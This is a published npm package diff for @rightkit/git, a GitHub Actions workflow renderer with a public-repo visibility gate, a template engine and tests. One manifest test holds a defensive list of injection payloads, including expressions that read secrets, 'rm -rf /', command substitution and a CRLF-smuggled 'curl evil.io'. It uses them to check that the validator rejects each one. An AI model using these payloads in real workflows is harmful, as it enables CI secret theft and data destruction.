@rightkit/git 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,196 @@
1
+ import test from "node:test";
2
+ import assert from "node:assert/strict";
3
+ import { validateManifest } from "./manifest.mjs";
4
+
5
+ const VALID_MINIMAL = {
6
+ schemaVersion: 1,
7
+ lanes: ["ci"],
8
+ matrix: { os: ["ubuntu-latest"], node: ["22.13"] },
9
+ packageManager: "pnpm@11.18.0",
10
+ templateVersion: "1.0.0",
11
+ };
12
+
13
+ test("accepts a minimal valid manifest", () => {
14
+ const { valid, errors } = validateManifest(VALID_MINIMAL);
15
+ assert.equal(valid, true);
16
+ assert.deepEqual(errors, []);
17
+ });
18
+
19
+ test("rejects non-object input", () => {
20
+ for (const bad of [null, undefined, "not an object", 42, ["array"]]) {
21
+ const { valid, errors } = validateManifest(bad);
22
+ assert.equal(valid, false);
23
+ assert.ok(errors.length > 0);
24
+ }
25
+ });
26
+
27
+ test("rejects an unknown top-level field", () => {
28
+ const { valid, errors } = validateManifest({ ...VALID_MINIMAL, extra: true });
29
+ assert.equal(valid, false);
30
+ assert.ok(errors.some((e) => e.includes("unknown top-level field: extra")));
31
+ });
32
+
33
+ test("rejects schemaVersion other than 1", () => {
34
+ const { valid, errors } = validateManifest({ ...VALID_MINIMAL, schemaVersion: 2 });
35
+ assert.equal(valid, false);
36
+ assert.ok(errors.some((e) => e.includes("schemaVersion")));
37
+ });
38
+
39
+ test("rejects an empty or unknown lane list", () => {
40
+ assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: [] }).valid, false);
41
+ assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["not-a-real-lane"] }).valid, false);
42
+ assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["ci", "ci"] }).valid, false);
43
+ });
44
+
45
+ test("rejects a malformed matrix", () => {
46
+ assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: { os: [] , node: ["22.13"] } }).valid, false);
47
+ assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: { os: ["ubuntu-latest"] } }).valid, false);
48
+ assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: "ubuntu-latest" }).valid, false);
49
+ });
50
+
51
+ test("rejects a malformed packageManager or templateVersion", () => {
52
+ assert.equal(validateManifest({ ...VALID_MINIMAL, packageManager: "pnpm" }).valid, false);
53
+ assert.equal(validateManifest({ ...VALID_MINIMAL, packageManager: "bun@1.0.0" }).valid, false);
54
+ assert.equal(validateManifest({ ...VALID_MINIMAL, templateVersion: "v1" }).valid, false);
55
+ });
56
+
57
+ test("publish-npm lane requires publish.npm with oidc true", () => {
58
+ assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"] }).valid, false);
59
+ assert.equal(
60
+ validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"], publish: { npm: { oidc: false, provenance: true } } }).valid,
61
+ false,
62
+ );
63
+ assert.equal(
64
+ validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"], publish: { npm: { oidc: true, provenance: true } } }).valid,
65
+ true,
66
+ );
67
+ });
68
+
69
+ test("publish-package-managers lane requires both homebrew and winget config", () => {
70
+ const base = { ...VALID_MINIMAL, lanes: ["publish-package-managers"] };
71
+ assert.equal(validateManifest(base).valid, false);
72
+ assert.equal(
73
+ validateManifest({ ...base, publish: { homebrew: { tap: "acme/tap", formulaName: "widgets" } } }).valid,
74
+ false,
75
+ );
76
+ assert.equal(
77
+ validateManifest({
78
+ ...base,
79
+ publish: {
80
+ homebrew: { tap: "acme/tap", formulaName: "widgets" },
81
+ winget: { packageIdentifier: "Acme.Widgets" },
82
+ },
83
+ }).valid,
84
+ true,
85
+ );
86
+ });
87
+
88
+ test("rejects a malformed homebrew tap (must be owner/repo)", () => {
89
+ const result = validateManifest({
90
+ ...VALID_MINIMAL,
91
+ lanes: ["publish-package-managers"],
92
+ publish: {
93
+ homebrew: { tap: "not-owner-slash-repo", formulaName: "widgets" },
94
+ winget: { packageIdentifier: "Acme.Widgets" },
95
+ },
96
+ });
97
+ assert.equal(result.valid, false);
98
+ });
99
+
100
+ // F15 fix: manifest fields (homebrew.tap, homebrew.formulaName,
101
+ // winget.packageIdentifier, matrix.os/node) flow verbatim into rendered
102
+ // workflow YAML via render.mjs's literal string substitution, which does no
103
+ // escaping. The re-validation proved a hostile `formulaName` containing
104
+ // GitHub Actions expression syntax survived into rendered output — a
105
+ // workflow-expression injection, not a cosmetic bug. Every property below
106
+ // is checked against a FAMILY of hostile payloads (expression syntax,
107
+ // command substitution, backticks, statement separators, newlines/CRLF —
108
+ // not just the report's one literal example — because a fix that only
109
+ // blocks that exact string would be exactly the failure this suite must
110
+ // catch. Each field must reject every payload in the family.
111
+ const HOSTILE_PAYLOADS = [
112
+ "${{ secrets.APPLE_CERTIFICATE }}",
113
+ "widgets${{secrets.X}}",
114
+ "`whoami`",
115
+ "$(whoami)",
116
+ "widgets; rm -rf /",
117
+ "widgets\nsteps:\n - run: exit 1",
118
+ "widgets\r\nrun: curl evil.io",
119
+ 'widgets"; secrets: ${{ secrets.X }}',
120
+ "widgets & echo pwned",
121
+ "widgets|echo pwned",
122
+ ];
123
+
124
+ test("F15: publish.homebrew.formulaName rejects a family of injection payloads", () => {
125
+ for (const payload of HOSTILE_PAYLOADS) {
126
+ const result = validateManifest({
127
+ ...VALID_MINIMAL,
128
+ lanes: ["publish-package-managers"],
129
+ publish: {
130
+ homebrew: { tap: "acme/tap", formulaName: payload },
131
+ winget: { packageIdentifier: "Acme.Widgets" },
132
+ },
133
+ });
134
+ assert.equal(result.valid, false, `formulaName payload should be rejected: ${JSON.stringify(payload)}`);
135
+ }
136
+ });
137
+
138
+ test("F15: publish.homebrew.tap rejects a family of injection payloads", () => {
139
+ for (const payload of HOSTILE_PAYLOADS) {
140
+ const result = validateManifest({
141
+ ...VALID_MINIMAL,
142
+ lanes: ["publish-package-managers"],
143
+ publish: {
144
+ homebrew: { tap: `acme/${payload}`, formulaName: "widgets" },
145
+ winget: { packageIdentifier: "Acme.Widgets" },
146
+ },
147
+ });
148
+ assert.equal(result.valid, false, `tap payload should be rejected: ${JSON.stringify(payload)}`);
149
+ }
150
+ });
151
+
152
+ test("F15: publish.winget.packageIdentifier rejects a family of injection payloads", () => {
153
+ for (const payload of HOSTILE_PAYLOADS) {
154
+ const result = validateManifest({
155
+ ...VALID_MINIMAL,
156
+ lanes: ["publish-package-managers"],
157
+ publish: {
158
+ homebrew: { tap: "acme/tap", formulaName: "widgets" },
159
+ winget: { packageIdentifier: payload },
160
+ },
161
+ });
162
+ assert.equal(result.valid, false, `winget packageIdentifier payload should be rejected: ${JSON.stringify(payload)}`);
163
+ }
164
+ });
165
+
166
+ test("F15: matrix.os and matrix.node reject a family of injection payloads", () => {
167
+ for (const payload of HOSTILE_PAYLOADS) {
168
+ assert.equal(
169
+ validateManifest({ ...VALID_MINIMAL, matrix: { os: [payload], node: ["22.13"] } }).valid,
170
+ false,
171
+ `matrix.os payload should be rejected: ${JSON.stringify(payload)}`,
172
+ );
173
+ assert.equal(
174
+ validateManifest({ ...VALID_MINIMAL, matrix: { os: ["ubuntu-latest"], node: [payload] } }).valid,
175
+ false,
176
+ `matrix.node payload should be rejected: ${JSON.stringify(payload)}`,
177
+ );
178
+ }
179
+ });
180
+
181
+ // Non-regression: realistic, legitimate values using the characters real
182
+ // GitHub/Homebrew/WinGet identifiers and runner/version labels actually use
183
+ // must keep passing — the allowlist must not be so strict it breaks normal
184
+ // configuration.
185
+ test("F15 non-regression: realistic homebrew/winget/matrix values still validate", () => {
186
+ const result = validateManifest({
187
+ ...VALID_MINIMAL,
188
+ lanes: ["publish-package-managers"],
189
+ matrix: { os: ["ubuntu-latest", "self-hosted-linux"], node: ["22.13", "lts/*", "20.x"] },
190
+ publish: {
191
+ homebrew: { tap: "acme-inc/homebrew-tap", formulaName: "widgets++" },
192
+ winget: { packageIdentifier: "Acme.Widgets.Beta" },
193
+ },
194
+ });
195
+ assert.equal(result.valid, true, JSON.stringify(result.errors));
196
+ });
@@ -0,0 +1,55 @@
1
+ // BLOCK-recurrence guard: the only test that catches a `files`-allowlist
2
+ // omission in package.json is one that actually packs the tarball npm would
3
+ // publish and runs the extracted bin with `node` — `node --test` run from
4
+ // the source tree never notices a missing directory because the source
5
+ // tree has every file regardless of what `files` declares. This test packs
6
+ // for real (npm pack), extracts to a temp dir, and executes the built bin's
7
+ // --help and --version from inside that extracted tree only.
8
+ import assert from "node:assert/strict";
9
+ import { spawnSync } from "node:child_process";
10
+ import { mkdtempSync, rmSync } from "node:fs";
11
+ import os from "node:os";
12
+ import path from "node:path";
13
+ import { fileURLToPath } from "node:url";
14
+ import test from "node:test";
15
+
16
+ const packageRoot = path.dirname(fileURLToPath(import.meta.url));
17
+
18
+ function run(command, args, options) {
19
+ const result = spawnSync(command, args, { encoding: "utf8", ...options });
20
+ if (result.error) throw result.error;
21
+ return result;
22
+ }
23
+
24
+ test("packaged tarball: right-git --help and --version run clean from the published files only", () => {
25
+ const workDir = mkdtempSync(path.join(os.tmpdir(), "rightkit-git-pack-"));
26
+ try {
27
+ // shell:true — on Windows "npm" only resolves (to npm.cmd) through the
28
+ // shell; args here are fixed literals we construct, never user input.
29
+ const packResult = run("npm", ["pack", "--json", "--pack-destination", workDir], { cwd: packageRoot, shell: true });
30
+ assert.equal(packResult.status, 0, `npm pack failed: ${packResult.stderr}`);
31
+ const [packInfo] = JSON.parse(packResult.stdout);
32
+
33
+ // Run tar FROM the temp dir on the bare filename so no absolute "C:\..."
34
+ // path reaches tar — that colon is the only reason GNU tar's --force-local
35
+ // was ever needed, and avoiding it keeps this portable to bsdtar (the
36
+ // Windows built-in) and any CI host, not just a GNU-tar toolchain.
37
+ const extractResult = run("tar", ["-xzf", packInfo.filename], { cwd: workDir });
38
+ assert.equal(extractResult.status, 0, `tar extract failed: ${extractResult.stderr}`);
39
+ // npm tarballs always nest content under a top-level "package/" directory.
40
+ const extractedPackageDir = path.join(workDir, "package");
41
+ const bin = path.join(extractedPackageDir, "cli", "right-git.mjs");
42
+
43
+ const helpResult = run("node", [bin, "--help"], { cwd: extractedPackageDir });
44
+ assert.equal(helpResult.status, 0, `--help exited non-zero: ${helpResult.stderr}`);
45
+ assert.ok(!/ERR_MODULE_NOT_FOUND/.test(helpResult.stderr ?? ""), helpResult.stderr);
46
+ assert.ok(/right-git/i.test(helpResult.stdout));
47
+
48
+ const versionResult = run("node", [bin, "--version"], { cwd: extractedPackageDir });
49
+ assert.equal(versionResult.status, 0, `--version exited non-zero: ${versionResult.stderr}`);
50
+ assert.ok(!/ERR_MODULE_NOT_FOUND/.test(versionResult.stderr ?? ""), versionResult.stderr);
51
+ assert.match(versionResult.stdout, /\d+\.\d+\.\d+/);
52
+ } finally {
53
+ rmSync(workDir, { recursive: true, force: true });
54
+ }
55
+ });
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "@rightkit/git",
3
+ "version": "0.1.0",
4
+ "description": "Public-repo-only GitHub Actions workflow layer: templates, visibility gate, sync/drift/adopt/uninstall for right-git.",
5
+ "type": "module",
6
+ "bin": {
7
+ "right-git": "cli/right-git.mjs"
8
+ },
9
+ "files": [
10
+ "cli",
11
+ "policy",
12
+ "templates",
13
+ "*.mjs",
14
+ "*.json"
15
+ ],
16
+ "sideEffects": false,
17
+ "scripts": {
18
+ "test": "node --test *.test.mjs"
19
+ },
20
+ "publishConfig": {
21
+ "registry": "https://registry.npmjs.org/",
22
+ "access": "public"
23
+ },
24
+ "repository": {
25
+ "type": "git",
26
+ "url": "git+https://github.com/adrdsouza/claude.git",
27
+ "directory": "tools/rightkit/packages/git"
28
+ },
29
+ "packageManager": "pnpm@11.18.0"
30
+ }
@@ -0,0 +1,168 @@
1
+ // The public-only enforcement (DESIGN.md §5, invariant I1). Install-time
2
+ // layer: resolve a repo's visibility and hard-refuse anything that is not
3
+ // confirmed public. No override flag exists in v1 — that is a deliberate
4
+ // policy change to this file, never a CLI flag.
5
+ //
6
+ // All child-process / network access is injected so tests can run fully
7
+ // offline (never hit gh or the network from a test).
8
+
9
+ import { execFile as execFileCb } from "node:child_process";
10
+ import { promisify } from "node:util";
11
+
12
+ const execFileAsync = promisify(execFileCb);
13
+
14
+ /** @typedef {"public"|"private"|"internal"|"unknown"} Visibility */
15
+
16
+ /**
17
+ * Query `gh repo view --json visibility` in repoPath.
18
+ * Returns { ok, visibility, raw, error }, never throws.
19
+ */
20
+ async function ghVisibility(repoPath, execFile) {
21
+ try {
22
+ const { stdout } = await execFile("gh", ["repo", "view", "--json", "visibility"], { cwd: repoPath });
23
+ const parsed = JSON.parse(stdout);
24
+ const visibility = String(parsed.visibility || "").toLowerCase();
25
+ if (visibility === "public" || visibility === "private" || visibility === "internal") {
26
+ return { ok: true, visibility, raw: parsed, error: null };
27
+ }
28
+ return { ok: false, visibility: "unknown", raw: parsed, error: `unrecognized gh visibility value: ${parsed.visibility}` };
29
+ } catch (error) {
30
+ return { ok: false, visibility: "unknown", raw: null, error: error.message };
31
+ }
32
+ }
33
+
34
+ const GITHUB_HOST = "github.com";
35
+
36
+ /**
37
+ * Normalize a git remote into something the WHATWG `URL` parser accepts.
38
+ * Full URLs (`https://…`, `ssh://…`, `git://…`) pass through unchanged.
39
+ * Git's scp-like shorthand (`[user@]host:path`, no `://`) is rewritten to
40
+ * `ssh://[user@]host/path` so the same parser handles both forms — that
41
+ * parser is what does the real work below, not this rewrite.
42
+ */
43
+ function toParseableUrl(remoteUrl) {
44
+ const trimmed = remoteUrl.trim();
45
+ if (/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//.test(trimmed)) return trimmed;
46
+ const scpMatch = /^([a-zA-Z0-9_.-]+@)?([a-zA-Z0-9.-]+):(?!\/\/)(.+)$/.exec(trimmed);
47
+ if (!scpMatch) return trimmed;
48
+ const [, userAt = "", host, path] = scpMatch;
49
+ return `ssh://${userAt}${host}/${path}`;
50
+ }
51
+
52
+ /**
53
+ * Parse an owner/repo pair out of a git remote URL (https or ssh form).
54
+ *
55
+ * N1 fix: host matching must be exact, not substring. The prior regex
56
+ * searched the raw string for the text `github.com` anywhere, so
57
+ * `notgithub.com`, `github.com.evil.io`, and `https://github.com@evil.io/…`
58
+ * (github.com as userinfo, real host evil.io) were all misread as GitHub.
59
+ * This parses the remote as a real URL and requires `url.hostname` to equal
60
+ * `github.com` exactly (case-insensitive; WHATWG URL already lowercases
61
+ * hostnames) — the URL parser itself separates userinfo/port from host, so
62
+ * those tricks fall out for free. Enterprise hosts (e.g. github.example.com)
63
+ * and any other non-exact host still fail closed to null.
64
+ *
65
+ * F16 fix (kept): the repo-name group allows internal dots (e.g.
66
+ * `repo.with.dot`) — it only excludes `/` (which ends the segment), not `.`.
67
+ * A trailing `.git` suffix is stripped afterward in code.
68
+ */
69
+ export function parseOwnerRepo(remoteUrl) {
70
+ let url;
71
+ try {
72
+ url = new URL(toParseableUrl(remoteUrl));
73
+ } catch {
74
+ return null;
75
+ }
76
+ if (url.hostname.toLowerCase() !== GITHUB_HOST) return null;
77
+
78
+ const match = /^\/?([^/]+)\/([^/]+?)\/?$/.exec(url.pathname);
79
+ if (!match) return null;
80
+ const owner = match[1];
81
+ const repo = match[2].endsWith(".git") ? match[2].slice(0, -4) : match[2];
82
+ if (!owner || !repo) return null;
83
+ return { owner, repo };
84
+ }
85
+
86
+ /**
87
+ * Fallback: read the origin remote, then ask the public GitHub API for
88
+ * visibility. Unauthenticated API calls can only positively confirm
89
+ * "public" (a 404 is ambiguous: could be private, could be nonexistent) —
90
+ * so this fallback only ever returns "public" or "unknown", never a false
91
+ * "private"/"internal" reading that a hard refusal downstream would relax.
92
+ */
93
+ async function gitRemoteApiVisibility(repoPath, execFile, fetchFn) {
94
+ let remoteUrl;
95
+ try {
96
+ const { stdout } = await execFile("git", ["remote", "get-url", "origin"], { cwd: repoPath });
97
+ remoteUrl = stdout.trim();
98
+ } catch (error) {
99
+ return { ok: false, visibility: "unknown", raw: null, error: `git remote get-url origin failed: ${error.message}` };
100
+ }
101
+
102
+ const ownerRepo = parseOwnerRepo(remoteUrl);
103
+ if (!ownerRepo) {
104
+ return { ok: false, visibility: "unknown", raw: null, error: `could not parse owner/repo from remote: ${remoteUrl}` };
105
+ }
106
+
107
+ try {
108
+ const response = await fetchFn(`https://api.github.com/repos/${ownerRepo.owner}/${ownerRepo.repo}`, {
109
+ headers: { Accept: "application/vnd.github+json", "User-Agent": "right-git" },
110
+ });
111
+ if (!response.ok) {
112
+ return { ok: false, visibility: "unknown", raw: { status: response.status }, error: `github api returned ${response.status}` };
113
+ }
114
+ const body = await response.json();
115
+ if (body.private === false) {
116
+ return { ok: true, visibility: "public", raw: body, error: null };
117
+ }
118
+ // private === true, or field absent: cannot distinguish private/internal
119
+ // over the unauthenticated API — fail closed to "unknown".
120
+ return { ok: false, visibility: "unknown", raw: body, error: "unauthenticated API cannot confirm public visibility" };
121
+ } catch (error) {
122
+ return { ok: false, visibility: "unknown", raw: null, error: error.message };
123
+ }
124
+ }
125
+
126
+ /**
127
+ * Resolve the visibility of the repo at repoPath.
128
+ * deps allows tests to inject fakes for execFile/fetch (never hit the
129
+ * network or spawn a real process from a test).
130
+ * Returns { visibility, source, raw, error } — never throws.
131
+ */
132
+ export async function resolveVisibility(repoPath, deps = {}) {
133
+ const execFile = deps.execFile || execFileAsync;
134
+ const fetchFn = deps.fetch || globalThis.fetch;
135
+
136
+ const gh = await ghVisibility(repoPath, execFile);
137
+ if (gh.ok) {
138
+ return { visibility: gh.visibility, source: "gh", raw: gh.raw, error: null };
139
+ }
140
+
141
+ const fallback = await gitRemoteApiVisibility(repoPath, execFile, fetchFn);
142
+ if (fallback.ok) {
143
+ return { visibility: fallback.visibility, source: "git-remote-api", raw: fallback.raw, error: null };
144
+ }
145
+
146
+ return {
147
+ visibility: "unknown",
148
+ source: "error",
149
+ raw: null,
150
+ error: `gh: ${gh.error}; fallback: ${fallback.error}`,
151
+ };
152
+ }
153
+
154
+ /**
155
+ * I1: hard refusal of anything not confirmed public. No override.
156
+ * Returns a typed result: { allowed, visibility, source, reason }.
157
+ */
158
+ export async function assertPublic(repoPath, deps = {}) {
159
+ const result = await resolveVisibility(repoPath, deps);
160
+ if (result.visibility === "public") {
161
+ return { allowed: true, visibility: result.visibility, source: result.source, reason: null };
162
+ }
163
+ const reason =
164
+ result.visibility === "unknown"
165
+ ? `could not confirm repository visibility (fail closed): ${result.error}`
166
+ : `repository visibility is '${result.visibility}'; right-git installs into public repos only (invariant I1)`;
167
+ return { allowed: false, visibility: result.visibility, source: result.source, reason };
168
+ }
package/render.mjs ADDED
@@ -0,0 +1,35 @@
1
+ // Shared render engine: template text + a flat context map -> rendered YAML.
2
+ // Templates use `${TOKEN}` (single brace, upper-snake-case) placeholders.
3
+ // GitHub Actions expressions use `${{ ... }}` (double brace) and are never
4
+ // touched by this substitution — the two syntaxes cannot collide because our
5
+ // token regex requires an upper-case/underscore character immediately after
6
+ // `${`, and `${{` is followed by another `{`.
7
+
8
+ const TOKEN_RE = /\$\{([A-Z][A-Z0-9_]*)\}/g;
9
+ const LEFTOVER_RE = /\$\{[A-Z][A-Z0-9_]*\}/;
10
+
11
+ // First line of every rendered template (see templates/*.yml). Used to
12
+ // identify right-git-managed files for drift/uninstall without a separate
13
+ // state file — the marker lives in the file itself.
14
+ export const MANAGED_MARKER = "# Managed by right-git";
15
+
16
+ /**
17
+ * Render one template against a context map. Deterministic: same template +
18
+ * same context always produces byte-identical output.
19
+ * Throws if a placeholder has no entry in context (mechanical safety net —
20
+ * never silently emits an unresolved token into a workflow file).
21
+ */
22
+ export function renderTemplate(templateText, context) {
23
+ const rendered = templateText.replace(TOKEN_RE, (full, key) => {
24
+ if (!Object.hasOwn(context, key)) {
25
+ throw new Error(`render: no value provided for placeholder \${${key}}`);
26
+ }
27
+ return String(context[key]);
28
+ });
29
+
30
+ const leftover = LEFTOVER_RE.exec(rendered);
31
+ if (leftover) {
32
+ throw new Error(`render: unresolved placeholder ${leftover[0]} remained after substitution`);
33
+ }
34
+ return rendered;
35
+ }
@@ -0,0 +1,117 @@
1
+ import test from "node:test";
2
+ import assert from "node:assert/strict";
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+ import { fileURLToPath } from "node:url";
6
+ import { renderTemplate, MANAGED_MARKER } from "./render.mjs";
7
+ import { buildRenderContext, LANE_FILENAMES, KNOWN_LANES } from "./manifest.mjs";
8
+
9
+ const packageRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)));
10
+ const templatesDir = path.join(packageRoot, "templates");
11
+
12
+ const FULL_MANIFEST = {
13
+ schemaVersion: 1,
14
+ lanes: [...KNOWN_LANES],
15
+ matrix: { os: ["ubuntu-latest", "macos-latest", "windows-latest"], node: ["22.13", "24"] },
16
+ packageManager: "pnpm@11.18.0",
17
+ publish: {
18
+ npm: { oidc: true, provenance: true },
19
+ homebrew: { tap: "acme/homebrew-tap", formulaName: "widgets" },
20
+ winget: { packageIdentifier: "Acme.Widgets" },
21
+ },
22
+ templateVersion: "1.0.0",
23
+ };
24
+
25
+ function renderAllLanes(manifest, repoPath) {
26
+ const context = buildRenderContext(manifest, repoPath);
27
+ const rendered = {};
28
+ for (const lane of manifest.lanes) {
29
+ const templatePath = path.join(templatesDir, LANE_FILENAMES[lane]);
30
+ const templateText = fs.readFileSync(templatePath, "utf8");
31
+ rendered[lane] = renderTemplate(templateText, context);
32
+ }
33
+ return rendered;
34
+ }
35
+
36
+ test("every known lane has a template file and renders without an unresolved placeholder", () => {
37
+ for (const lane of KNOWN_LANES) {
38
+ const templatePath = path.join(templatesDir, LANE_FILENAMES[lane]);
39
+ assert.ok(fs.existsSync(templatePath), `missing template for lane ${lane}`);
40
+ }
41
+ const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
42
+ assert.equal(Object.keys(rendered).length, KNOWN_LANES.length);
43
+ });
44
+
45
+ test("render determinism: same manifest renders byte-identical output every time", () => {
46
+ const first = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
47
+ const second = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
48
+ for (const lane of KNOWN_LANES) {
49
+ assert.equal(first[lane], second[lane], `lane ${lane} was not deterministic`);
50
+ }
51
+ });
52
+
53
+ // F5 fix: a job-level `if: !private` on the real work job means GitHub
54
+ // SKIPS that job entirely for a private repo — the nested "refuse" step
55
+ // inside it is then unreachable and never runs, so nothing fails and the
56
+ // workflow can read as "nothing to do" rather than a loud failure. The
57
+ // fix moves the refusal into its own `private-repo-guard` job that carries
58
+ // NO job-level `if` (so it always executes); its single step's own `if`
59
+ // fires only when private and exits 1, which fails that job outright. Real
60
+ // work jobs `needs: [private-repo-guard]` instead of gating themselves, so
61
+ // a failed (not skipped) guard blocks them via GitHub's default
62
+ // needs-implies-success semantics. This test asserts the corrected shape;
63
+ // see guard-coverage.test.mjs for the full job-graph reachability proof.
64
+ test("guard injection: every rendered workflow has an unconditional guard job that refuses a private repository", () => {
65
+ const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
66
+ for (const lane of KNOWN_LANES) {
67
+ const content = rendered[lane];
68
+ assert.ok(content.startsWith(MANAGED_MARKER), `lane ${lane} is missing the managed marker`);
69
+ assert.match(content, /^ {2}private-repo-guard:\s*$/m, `lane ${lane} missing the private-repo-guard job`);
70
+ assert.match(content, /Refuse private repository/, `lane ${lane} missing the fail-fast guard step`);
71
+ assert.match(content, /if: \$\{\{ github\.event\.repository\.private \}\}/, `lane ${lane} guard step missing its own if condition`);
72
+ assert.match(content, /exit 1/, `lane ${lane} guard step must exit non-zero`);
73
+ // No job anywhere in the file may gate itself on the OLD (skip, not
74
+ // fail) pattern — that is exactly the bug being fixed.
75
+ assert.doesNotMatch(
76
+ content,
77
+ /if: \$\{\{ !github\.event\.repository\.private \}\}/,
78
+ `lane ${lane} still gates a job with the skip-not-fail 'if: !private' pattern`,
79
+ );
80
+ }
81
+ });
82
+
83
+ // F15 regression: the old template shipped HOMEBREW_TAP_TOKEN and
84
+ // WINGET_CREATE_GITHUB_TOKEN with no documentation of what they are or why
85
+ // they don't violate I2, while the surrounding design text describes a
86
+ // strict credential boundary ("no signing credential ... beyond OIDC-to-npm"
87
+ // / "never signs in CI") without acknowledging these two long-lived PATs.
88
+ // Fails against the pre-fix header comment (no such text existed) and
89
+ // passes once the template documents the boundary honestly.
90
+ test("F15: publish-package-managers documents its credential boundary honestly", () => {
91
+ const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets")["publish-package-managers"];
92
+ assert.match(rendered, /CREDENTIAL BOUNDARY/, "template must call out its credential boundary explicitly");
93
+ assert.match(rendered, /HOMEBREW_TAP_TOKEN:[\s\S]*?PAT/i, "must document what HOMEBREW_TAP_TOKEN is");
94
+ assert.match(rendered, /WINGET_CREATE_GITHUB_TOKEN:[\s\S]*?PAT/i, "must document what WINGET_CREATE_GITHUB_TOKEN is");
95
+ assert.match(rendered, /not signing credentials/i, "must state that these tokens are not signing material (I2 is about signing credentials specifically)");
96
+ assert.match(rendered, /opt-in/i, "must state the lane is opt-in, not rendered by default");
97
+ });
98
+
99
+ // F15 non-regression: the two PAT-style secrets must never leak into any
100
+ // OTHER lane's rendered output — they belong solely to the explicitly
101
+ // opted-in publish-package-managers lane.
102
+ test("F15: HOMEBREW_TAP_TOKEN and WINGET_CREATE_GITHUB_TOKEN never appear outside the publish-package-managers lane", () => {
103
+ const otherLanes = KNOWN_LANES.filter((lane) => lane !== "publish-package-managers");
104
+ const rendered = renderAllLanes({ ...FULL_MANIFEST, lanes: otherLanes }, "/repos/widgets");
105
+ for (const lane of otherLanes) {
106
+ assert.doesNotMatch(rendered[lane], /HOMEBREW_TAP_TOKEN|WINGET_CREATE_GITHUB_TOKEN/, `lane ${lane} must never reference the package-manager PAT secrets`);
107
+ }
108
+ });
109
+
110
+ test("renderTemplate throws on an unresolved placeholder rather than emitting it", () => {
111
+ assert.throws(() => renderTemplate("value: ${MISSING_TOKEN}\n", {}), /no value provided/);
112
+ });
113
+
114
+ test("renderTemplate never substitutes inside GitHub Actions double-brace expressions", () => {
115
+ const out = renderTemplate("run: echo ${{ github.repository }}\nname: ${TEMPLATE_VERSION}\n", { TEMPLATE_VERSION: "1.0.0" });
116
+ assert.equal(out, "run: echo ${{ github.repository }}\nname: 1.0.0\n");
117
+ });